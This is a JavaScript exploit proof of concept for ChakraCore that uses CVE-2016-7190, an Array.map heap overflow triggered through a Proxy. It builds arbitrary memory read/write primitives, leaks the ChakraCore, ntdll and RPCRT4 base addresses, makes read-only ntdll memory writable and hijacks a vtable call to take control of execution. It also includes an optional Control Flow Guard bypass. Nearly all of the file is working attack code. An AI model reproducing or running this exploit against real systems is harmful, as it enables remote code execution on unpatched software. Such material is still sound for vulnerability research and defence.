function hex(a) { if (a == undefined) return "0xUNDEFINED"; var ret = a.toString(16); if (ret.substr(0,2) != "0x") return "0x"+ret; else return ret; } // based on Long.js by dcodeIO // https://github.com/dcodeIO/Long.js // License Apache 2 class _u64 { constructor(hi, lo) { this.lo_ = lo; this.hi_ = hi; } hex() { var hlo = (this.lo_ < 0 ? (0xFFFFFFFF + this.lo_ + 1) : this.lo_).toString(16) var hhi = (this.hi_ < 0 ? (0xFFFFFFFF + this.hi_ + 1) : this.hi_).toString(16) if(hlo.substr(0,2) == "0x") hlo = hlo.substr(2,hlo.length); if(hhi.substr(0,2) == "0x") hhi = hhi.substr(2,hji.length); hlo = "00000000" + hlo hlo = hlo.substr(hlo.length-8, hlo.length); return "0x" + hhi + hlo; } isZero() { return this.hi_ == 0 && this.lo_ == 0; } equals(val) { return this.hi_ == val.hi_ && this.lo_ == val.lo_; } and(val) { return new _u64(this.hi_ & val.hi_, this.lo_ & val.lo_); } add(val) { var a48 = this.hi_ >>> 16; var a32 = this.hi_ & 0xFFFF; var a16 = this.lo_ >>> 16; var a00 = this.lo_ & 0xFFFF; var b48 = val.hi_ >>> 16; var b32 = val.hi_ & 0xFFFF; var b16 = val.lo_ >>> 16; var b00 = val.lo_ & 0xFFFF; var c48 = 0, c32 = 0, c16 = 0, c00 = 0; c00 += a00 + b00; c16 += c00 >>> 16; c00 &= 0xFFFF; c16 += a16 + b16; c32 += c16 >>> 16; c16 &= 0xFFFF; c32 += a32 + b32; c48 += c32 >>> 16; c32 &= 0xFFFF; c48 += a48 + b48; c48 &= 0xFFFF; return new _u64((c48 << 16) | c32, (c16 << 16) | c00); } addi(h,l) { return this.add(new _u64(h,l)); } subi(h,l) { return this.sub(new _u64(h,l)); } not() { return new _u64(~this.hi_, ~this.lo_) } neg() { return this.not().add(new _u64(0,1)); } sub(val) { return this.add(val.neg()); }; swap32(val) { return ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) | ((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF); } bswap() { var lo = swap32(this.lo_); var hi = swap32(this.hi_); return new _u64(lo, hi); }; } var u64 = function(hi, lo) { return new _u64(hi,lo) }; function main2() { var n = []; for (var i = 0; i < 0x10; i++) { // nice pattern for easy checking with debugger n.push([i*0x10000 | 1, i*0x10000 | 2, i*0x10000 | 3, i*0x10000 | 4, i*0x10000 | 5, i*0x10000 | 6, i*0x10000 | 7, i*0x10000 | 8, i*0x10000 | 9, i*0x10000 | 0x10, i*0x10000 | 0x11, i*0x10000 | 0x12, i*0x10000 | 0x13, i*0x10000 | 0x14, i*0x10000 | 0x15, i*0x10000 | 0x16, i*0x10000 | 0x17, i*0x10000 | 0x18, i*0x10000 | 0x19, i*0x10000 | 0x20, i*0x10000 | 0x21, i*0x10000 | 0x22, i*0x10000 | 0x23]); } var c = [new Uint8Array(0x100000), new Uint8Array(0x20), new Uint8Array(0x20), new Uint8Array(0x20), new Uint8Array(0x20), new Uint8Array(0x20)]; n.push(c); class fake extends Object { static get [Symbol.species]() { return function() { return n[5]; }; }; } var handler = { get: function(target, name){ if(name == "length"){ return 0x200; } if(name == "constructor") return fake; if(name == 0) { // leak base addr of NativeIntArray n[6] return n[6]; } if(name == 1) { // leak base addr Uint8Array 0x100000 return n[0x10][0]; } if(name == 17) { // overwrite n[6] JavascriptArray.length return 0x7FFFFFFF; } if(name == 21) { // overwrite len of n[6] SparseArraySegment.length return 0x7f00000000; } if(name == 22) { // overwrite length of n[6] SparseArraySegment.size return 0x7FFFFFFF; } return 0; // never executed }, // by only returning for some elements true we avoid linear buffer overflow // -> overwrite only specifc values has: function(target, name){ //print("has " + name); if(name == 0 || name == 1 || name == 17 || name == 21|| name == 22) { return true; } return false; } }; var y = new Proxy([], handler); // ---------------------------------------------------------------------------- // Exploit heap overflow to gain arbitrary read/write // // - Used vulnerability in Array.map (CVE-2016-7190) // - More info and PoC: // - https://technet.microsoft.com/library/security/ms16-119 // - https://bugs.chromium.org/p/project-zero/issues/detail?id=923 // ---------------------------------------------------------------------------- // trigger overflow var o = Array.prototype.map.apply(y, [function(a){ return a; }]); print(hex(n[6].length)); w32_rel = function(offset, val) { n[6][(offset - 0x18)/4] = val; } r32_rel = function(offset) { return n[6][(offset - 0x18)/4]; } // by overwriting // - JavascriptArray.length // - SparseArraySegment.length // - SparseArraySegment.size // we can use the native JS array for oob access // DEBUG // print(hex(n[5][1]) + " " + hex(n[5][0])); // print(hex(n[5][3]) + " " + hex(n[5][2])); var uint8_base_addr = u64(n[5][3], n[5][2]); var uint8_base_offset = n[5][2]- (n[5][0] + 0x40); print("[+] Uint8Array addr: " + hex(uint8_base_addr.hex())); // print("Uint8Array offset>> : " + hex(uint8_base_offset)); // print("Uint8Array length>> " + hex(r32_rel(uint8_base_offset +0x20))); w32_rel(uint8_base_offset +0x20, 0x4141); // print("n[0x10][0].length " + n[0x10][0].length); // print("Uint8Array length>> " + hex(r32_rel(uint8_base_offset +0x20))); // get non clamped vtable var vtable_low_addr = r32_rel(uint8_base_offset +0x40); w32_rel(uint8_base_offset, vtable_low_addr); //print("Uint8Array length2>> " + hex(r32_rel(uint8_base_offset +0x28))); //print("Uint8Array length3>> " + hex(r32_rel(uint8_base_offset +0x2C))); var uint8_buf_addr = u64(r32_rel(uint8_base_offset + 0x3C), r32_rel(uint8_base_offset + 0x38)) print("[+] Uint8Array buf addr: " + uint8_buf_addr.hex()); // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Define functions that read/write various data widths from/to memory // // ---------------------------------------------------------------------------- // define functions to read and write arbitrary memory var set_buffer_addr = function(u64_addr) { w32_rel(uint8_base_offset +0x38, u64_addr.lo_); w32_rel(uint8_base_offset +0x3C, u64_addr.hi_); } var r8 = function(u64_addr) { set_buffer_addr(u64_addr); return n[0x10][0][0]; }; var r16 = function(u64_addr) { set_buffer_addr(u64_addr); return n[0x10][0][1] << 8 | n[0x10][0][0]; }; var r32 = function(u64_addr) { set_buffer_addr(u64_addr); return n[0x10][0][3] << 24 | n[0x10][0][2] << 16 | n[0x10][0][1] << 8 | n[0x10][0][0]; }; var r64 = function(u64_addr) { set_buffer_addr(u64_addr); return u64(n[0x10][0][7] << 24 | n[0x10][0][6] << 16 | n[0x10][0][5] << 8 | n[0x10][0][4] << 32, n[0x10][0][3] << 24 | n[0x10][0][2] << 16 | n[0x10][0][1] << 8 | n[0x10][0][0]); }; var w8 = function(u64_addr, u8_val) { set_buffer_addr(u64_addr); n[0x10][0][0] = u8_val & 0xFF; } var w32 = function(u64_addr, u32_val) { set_buffer_addr(u64_addr); n[0x10][0][0] = (u32_val >> 0) & 0xFF; n[0x10][0][1] = (u32_val >> 8) & 0xFF; n[0x10][0][2] = (u32_val >> 16) & 0xFF; n[0x10][0][3] = (u32_val >> 24) & 0xFF; } var w64 = function(u64_addr, u64_val) { set_buffer_addr(u64_addr); n[0x10][0][0] = (u64_val.lo_ >> 0) & 0xFF; n[0x10][0][1] = (u64_val.lo_ >> 8) & 0xFF; n[0x10][0][2] = (u64_val.lo_ >> 16) & 0xFF; n[0x10][0][3] = (u64_val.lo_ >> 24) & 0xFF; n[0x10][0][4] = (u64_val.hi_ >> 0) & 0xFF; n[0x10][0][5] = (u64_val.hi_ >> 8) & 0xFF; n[0x10][0][6] = (u64_val.hi_ >> 16) & 0xFF; n[0x10][0][7] = (u64_val.hi_ >> 24) & 0xFF; } // These offset highly depend on the version of Chakra(Core)/Windows uint8_vtable_addr = r64(uint8_base_addr); print("[+] uint8Array vtable: " + uint8_vtable_addr.hex()); uint8_vtable_addr = r64(uint8_base_addr); var chakra_base_addr = r64(uint8_base_addr).subi(0,0x5726f0); // read vtable function print("[+] ChakraCore base addr: " + chakra_base_addr.hex()); var ntdll_base_addr = r64(chakra_base_addr.addi(0, 0x0649a18)); // ChakraCore!NtdllLibraryObject.baseclass_0.m_hModule print("[+] ntdll base addr: " + ntdll_base_addr.hex()); var RtlpDynamicFunctionTableLock = ntdll_base_addr.addi(0,0x152170); // ntdll!RtlpDynamicFunctionTableLock print("[+] RtlpDynamicFunctionTableLock addr: " + RtlpDynamicFunctionTableLock.hex()); var LdrpMrdataLock = ntdll_base_addr.addi(0,0x151FD0); // ntdll!LdrpMrdataLock print("[+] LdrpMrdataLock addr: " + LdrpMrdataLock.hex()); var pLdrpMrdataBase = ntdll_base_addr.addi(0,0x164250); var LdrpMrdataBase = r64(ntdll_base_addr.addi(0,0x164250)); // ntdll!LdrpMrdataBase print("[+] LdrpMrdataBase: " + LdrpMrdataBase.hex()); var LdrpMrdataSize = ntdll_base_addr.addi(0,0x164240); // ntdll!LdrpMrdataSize print("[+] LdrpMrdataSize addr: " + LdrpMrdataSize.hex()); var SRWLockSpinCount = ntdll_base_addr.addi(0,0x151c28); // ntdll!SRWLockSpinCount print("[+] SRWLockSpinCount addr: " + SRWLockSpinCount.hex()); // increase waiting time w32(SRWLockSpinCount, 0xFFFFFFFF); // aquire lock w64(RtlpDynamicFunctionTableLock, u64(0,0xF)); // mark writable while(1) { // check when background processor tries to // aquire the lock var x = r64(RtlpDynamicFunctionTableLock); if(x.lo_ != 0xF) { // overwrite LdrpMrdataBase with an address // that is ok to be read only (first page of // chakra) w64(pLdrpMrdataBase, chakra_base_addr); // change size to 1 page w64(LdrpMrdataSize, u64(0,0x1000-1)); // release lock w64(RtlpDynamicFunctionTableLock, u64(0,0x0)); w32(x.subi(0,0x2f).addi(0,0x44), 0); print("[+] done"); break; } } var mark_writable = function(u64_addr, len) { w64(pLdrpMrdataBase, u64_addr); //print("new base: " + r64(pLdrpMrdataBase).hex()) w64(LdrpMrdataSize, u64(0,len-1)); w64(RtlpDynamicFunctionTableLock, u64(0,0xF)); while(1) { var x = r64(RtlpDynamicFunctionTableLock); //print(x.hex()); if(x.lo_ != 0xF) { w64(LdrpMrdataSize, u64(0,0x1000-1)); w64(pLdrpMrdataBase, chakra_base_addr); w64(RtlpDynamicFunctionTableLock, u64(0,0x0)); w32(x.subi(0,0x2f).addi(0,0x44), 0); print("[+] re-mapped " + u64_addr.hex()) break; } } } // // How to use the mrdata unlock primitive to bypass CFG // // Since we didn't get ChakraCore compiled to use CFG... // here a slighty more complicated example that requires // us to first manipulate a read-only vtable of RPCRT4 // remote codegen will trigger a call that is verified by // CFGuard // // ntdll!LdrpDispatchUserCallTarget // RPCRT4!LRPC_BASE_CCALL::GetBuffer+0x18e // RPCRT4!NdrpClientCall3+0xf44 // RPCRT4!NdrClientCall3+0xf2 // chakracore!ClientRemoteCodeGen+0x26 // chakracore!JITManager::RemoteCodeGenCall+0x2a // chakracore!NativeCodeGenerator::CodeGen+0x86 // // set following variable to 'true' to bypass CFGuard // by overwriting the // RPCRT4!_guard_dispatch_icall_fptr pointer with // RPCRT4!guard_dispatch_icall_nop // var bypass_cfguard = false; if(bypass_cfguard) { mark_writable(rpcrt4_base_addr.addi(0,0xec4a8), 8); w64(rpcrt4_base_addr.addi(0,0xec4a8), rpcrt4_base_addr.addi(0,0x78470)); } // to hijack this call we first make the vtable writable // RPCRT4!LRPC_FAST_CCALL::`vftable' // then overwrite it with arbitary code pointer var rpcrt4_base_addr = r64(chakra_base_addr.addi(0,0x4e0538)).subi(0,0xd1c20); // chakracore!_imp_NdrServerCallNdr64 print("[+] RPCRT4 base addr: " + rpcrt4_base_addr.hex()); var fast_ccall_vtable = rpcrt4_base_addr.addi(0,0xe1328) mark_writable(fast_ccall_vtable.addi(0,0x120), 8); w64(fast_ccall_vtable.addi(0,0x120), u64(0x41,0x41414141)); var do_jit = function() { var jit_me = function(arg) { return arg+1; } for (var i = 0; i < 1000000;) { i = jit_me(i); } return i; } // // trigger aboves vtable call by triggering remote codegen // if (bypass_cfguard == false) faults at // ntdll!LdrpDispatchUserCallTarget+0xe: // mov r11,qword ptr [r11+r10*8] ds:00007df7`04770500=???????????????? // 0:005> r rax // rax=0000004141414141 // // if(bypass_cfguard == true) faults at // First chance exceptions are reported before any exception handling. // This exception may be expected and handled. // 00000041`41414141 ?? ??? // print(do_jit()); // shouldn't be reached return 0; } print(main2());